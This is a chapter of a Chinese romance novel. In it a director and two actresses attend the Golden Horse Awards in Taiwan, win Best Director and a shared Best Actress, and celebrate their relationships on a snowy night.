宝岛下了大雨,但气候比内地要高很多,准备的礼服被依次送到房间,造型从一大早就开始准备,折腾了前前后后四个小时。 黎数已经习惯了这样的折腾,但陆*嵬没。 她参加颁奖典礼的次数不算多,这些年更是长居于幕后,这次也是心血来潮,跟黎数在同一个牌子拿了同系列的礼服,一动不动被人按在椅子上化妆的第二个小时,她就后悔了。 但考虑到台前要出片,还是和黎数一起的,陆嵬又咬牙忍了。 她仍然是那一头流畅顺滑的黑长直发,固定在了身后,同色系的黑色礼服长裙,开胸到脐上,但一条S弯刚好错过她胸口的疤痕,偶露的地方也被妆遮住,上半身用碎钻点缀,裙摆最边缘的一圈同样是亮如星的碎钻,妆容冷冽清浅,加上她高挑的身材和一双标志性的浅瞳,从远处看去像是走秀的超模。 黎数的礼服没那么大胆,但一样是同款的黑色系礼服,一字抹胸裙,搭配一条颈链,全身都是黑色碎钻,一头长发被烫成大卷盘起,但妆容上显得和煦温柔,像长公主。 沈凝雪则是一身纯白的蕾丝镶钻礼服,贝壳抹胸开到锁骨,若隐若现的花边更显得她人温和端庄,发型同样盘起,在脑后编成了一个很低的发髻。 三人入场,签到后依次落座。 陆嵬坐在两人正中间,沈凝雪在她左手边,黎数在她右手边。 沈凝雪绕过陆嵬和黎数轻笑着说:“这套黑钻首饰我先前找她要的时候,她借都都不愿意给借我,说是已经有要送的人了。” 黎数下意识低头看了眼。 是那条颈环。 这套首饰打的很特殊,一枚戒指,一条颈环,还有两枚耳环,其中以颈环的尺寸最大,戒指次之,耳环最小,但也大拇指盖那么大了。 见黎数像是不知道这套珠宝价值几何,沈凝雪笑着说:“维多利亚时期兴起的产物,当初是维多利亚女王为了悼念哀思,后来逐渐演变成尊贵的象征,黑钻也是所有钻石里非常稀有的一种。” 黎数暗暗点了点头。 陆嵬不着痕迹的勾了勾唇。 沈凝雪也笑着退了回去。 镜头不断扫来扫去,落座的众人也逐渐安静下来,随着典礼正式开始,重量级颁奖嘉宾露面——正是许久不见的费鹤鸣。 “这次入围的作品,一共有十三部。” 场下响起了一片激烈的讨论声,费鹤鸣简单介绍过后,屏幕上开始出现所有入围电影的高光片段。 一幕幕、一条条播完,《除凶》播出的片段,是黎数和沈凝雪对弈,问季兇是不是真凶,凶手在哪里,而线索又有那些的一场戏。 彼时在大荧幕上就被那相互紧逼,来回试探过招的一幕刺激的肾上腺素飙升,现在原片放映更大,原声台词加持,黎数才发现原来和沈凝雪飙戏居然是这么的爽。 然后她和陆嵬说:“你好会调教人。” 镜头恰好扫过,多年经验积累下,黎数一个转头,粲然笑着,当着镜头的面,大大方方的冲着陆嵬的方向鼓掌,而后竖起大拇指。 陆嵬耳朵通红:“你别闹我。” 费鹤鸣在台上说:“有句老话讲,弦歌不辍,薪火相传。我曾经告诉过一个人,只要人还活着,只要人的思想还在,那就还能继续往下走,她曾经出现在这个颁奖台上过一次,她也曾经拿到过这个最佳荣誉——” 黎数有了某种预感,沈凝雪也不掩喜色,手紧紧的捏住了陆嵬的手臂。 “往事不再回首,痛苦留在往昔,本届金马奖最佳导演的得主——陆嵬!” 三人组齐刷刷起立,于幕后的镜头之外,裘夏抱着521哇哇大哭,眼泪全被521身上的黑色芭比公主裙吸干,给521气的尖叫骂人:“你的鼻涕,你的鼻涕,啊——小黎亲手给我缝的裙子,我要把你电成炸鸡!!” 尖叫声传不到台前,陆嵬和黎数紧紧相拥,头枕在她肩侧,浅瞳里有喜悦,但不算太多,最佳导演并不是她最期待的奖项。 但感谢词还是要说。 “借电影里的一句话,大家眼中的真凶已经死了,没有阴云笼罩,好人们就该出来了。” 她在代指谁无需多言,顾宗年死刑已经执行完毕,秦子帆去收敛了骨灰,但似乎被秦子帆给扬了。 陆嵬笑着说:“也借费导刚刚的话,薪火相传,愿大家未来继续砥砺前行,不断创新,未来光辉灿烂。” 全程奖项共分23个,最受所有人瞩目的帝后奖项在最后压轴。 陆嵬比黎数和沈凝雪都要紧张。 沈凝雪已经半退圈,对这一切看的很淡然,见状不免觉得好笑。 费鹤鸣在台上即将颁布最佳女主演的奖项,然而看到了名字的那一霎那,她顿了顿,脸上没有表露出分毫,只是站在话筒后,说:“一言难尽。” 台下一阵哗然,主办方不少人面露难色,如临大敌,生怕费鹤鸣下一句说出来个什么石破天惊的话。 但很快,费鹤鸣又补了一句:“得分两次说。” 台下又是一阵的爆笑。 费鹤鸣也绷不住笑了,手里的台本没有举起,目光已经望向了陆嵬刚刚下去的方向,笑着说:“本届金马奖最佳女演员的获得者,两位——” “黎数!” “沈凝雪!” 鼓掌声还没升起前,费鹤鸣笑着说:“本次排名以名字笔画数排列!” 笑声、掌声雷动,黎数和沈凝雪互相搀扶着对方起身,以一种有点别扭的心情上台领奖。 前往的一路上她们偶尔交谈。 “怎么感觉这氛围有点奇怪。” “拍摄的时候我就感觉奇怪了。” “你说裘夏在下面不会吃醋吧?” “陆嵬现在什么表情?你回头看一眼?” ——陆嵬在鼓掌,裘夏在啃521假发。 上台的两人分别向台下望去,不约而同全都露出了毫不作伪的笑容。 上台的致辞由沈凝雪开场,她简短的说了一下,激动也有,开心也有,但相对来说要稳重许多。 黎数本来以为自己站在这里时会哭,会激动到泣不成声,但真的站在了这个地方时,她才发现,原来更多的,是一种苦尽甘来的沉淀。 她的目光望向了台下的陆嵬,将中规中矩的感谢词念完,最后补充说: “其实很多人都在感谢生命中出现过的谁,但最后我想说,这些人或许很重要,但你会成为怎么样的人,永远都取决于你自己。就像是人人都在猜测季兇是真正的凶手,也有人说是因为李云舒的出现才救赎了她,但我觉得,人与人之间的相处永远都是相辅相成的,没有谁一定能拯救谁,也没有谁就一定欠了谁,坚持下去的自己才是最应该被感谢的。” 不管观众有没有听懂,但当事人是听懂了。 沈凝雪的目光多了一丝复杂,和隐隐约约的安慰,她主动上前两步,和黎数简短的拥抱了一下。 分开前,黎数听到沈凝雪说:“不管怎么说,我都得谢谢你出现。” 黎数说了句俏皮话,“应该感谢老天爷。” 两人用无关的手拿着两只奖杯,另外空着的手依然牵着,缓慢的下台。 台下隐隐约约响起了窃窃私语和尖叫声。 陆嵬早一步等在了那,裘夏也不知道从哪蹦了出来,伪装工作人员。 两只手同时伸出,沈凝雪笑着握住了裘夏的…… 黎数直接扑到了陆嵬怀里。 尖叫声涌现,沈凝雪和裘夏还没走远,回头看了一眼,只停顿了片刻,又扭头继续回座位。 沈凝雪笑着说:“你不管管?” “管不了一点。”裘夏生气:“情到深处,我又不是不能理解。” 这下沈凝雪停下,所有人的目光都被黎数和陆嵬吸引去了,但她停下似乎也不是因为这个。 在裘夏将她扶到座位上准备离开时,沈凝雪喊了声:“球球。” 裘夏回头,腰身还是弓着的。 沈凝雪托着她的脸,在她唇上印了一个吻,说:“去吧。” 裘夏嗷嗷嗷尖叫着冲回幕后,抱着521又是一顿乱啃。 回去的路上她顺手抽了陆嵬屁股一巴掌,陆嵬吃痛的‘嘶’了一声,那时她和黎数已经分开,正在回去的路上,只能恶狠狠瞪裘夏一眼,但看她的样子像是马上要变癫狂,又忍了。 回来时她问沈凝雪怎么了,沈凝雪笑着说:“没什么。” 陆嵬淡定的‘哦’了声,耳朵通红,从侧边暗袋里偷偷摸摸拿出了自己的那枚戒指戴上。 过了会,她又侧过头,轻声说:“你什么时候把戒指戴上的?” “今天就没摘下来过。”黎数同样侧过头,和她咬耳朵,“宝宝,是你没注意,我可没打算再继续藏着掖着。” 陆嵬说:“不怕被发现吗?” 黎数弯着眼睛:“不怕。你我五年、十年以后不结婚,还一直住在一起,明眼人都知道是怎么回事,不公开,但也没必要刻意隐瞒。” 她刚刚也看到了沈凝雪吻裘夏。 于是黎数笑着说道:“我想以后光明正大的吻你。” 陆嵬抿紧嘴唇,压制着心里的激动,手越过扶手,和黎数十指交扣在一起,重重的说:“好。” 颁奖典礼到尾声,几人前后脚回了酒店。 人在宝岛,知名度不比在内地,行动上要方便很多。 一个电影,三个人拿了奖项,其中陆嵬和费鹤鸣还分别靠《秘宝》二次夺得最佳剧情、艺术等奖项,可谓是满载而归。 夜深露重,寒意很大,费鹤鸣主动提出去吃个宝岛特色火锅庆祝一下。 没有人不同意,回房间都各自换了衣服,拆下了繁琐沉重的首饰。 窗外下起了小雪,这在宝岛当地十分难得一见,黎数有片刻的怔愣,正巧手机响起时,她拿起来放到了耳边。 “好了吗?”陆嵬说:“我来接你。” 主办方订的酒店还是一人一间,化妆的时候陆嵬是在另外一个房间的——一个房间挤不下太多人。 黎数看着窗外说:“下雪了,宝宝。” 陆嵬那边传来了窗户打开的声音,说道:“还真是,在宝岛挺少见的,外面当地人已经开始欢呼了,不知道能不能形成积雪。” 黎数趁机提了个要求,没头没脑的说:“你在车边等我吧。” 陆嵬也没多问,说了声:“好。” 黎数收好手机,穿好外套,往下奔走时,想着除了这次没有偷偷藏起来的戒指,其他的一切似乎都和27年的那场初雪一样。 她慢慢走到车边,酒店停车场这个时间人很少,酒店安保措施做的非常到位,不会有人混进来。 她往前小跑几步,脸上的笑容加大,忽然听到车边陆嵬的声音响起。 “我爱你。” 黎数挑眉,在原地站定,左右张望了下,没看见人,就慢慢又往前走了走。 车前沈凝雪抱着胳膊站在陆嵬对面,陆嵬面无表情的冲着她说:“但是我对你是对长辈的爱,我跟我老婆才是爱情。” 沈凝雪满脸无语又无奈,刚刚陆嵬才告知她几年前的那一场世纪大乌龙,被迫拉着在这演这么一场戏。 陆嵬念完台词,双手插兜,“好了,你可以走了,我要继续等我老婆了。” “你老婆已经来了。”沈凝雪翻着白眼转身,“怪不得裘夏整天说你,真是该你的。” 陆嵬一点不为所动,轻哼一声,顶着飘雪的天回到黎数身边,抱了抱她。 黎数问她:“这算什么?心有灵犀一点通?” 陆嵬笑着点头:“也不是不行。” “那这次上哪谈谈?” “火锅店吧。”陆嵬说:“虽然我想跟你私奔回酒店,但是这么高兴的一天,我姐和裘夏就算了,费导还是得尊重一下的。” 雪落在地上无声消融,陆嵬和黎数十指交握,而后把她的手放进了自己的口袋里。 “我爱你。”陆嵬说:“只爱你,竭尽我生命的全部,和你走到永恒。” “好。”黎数说:“我也是。”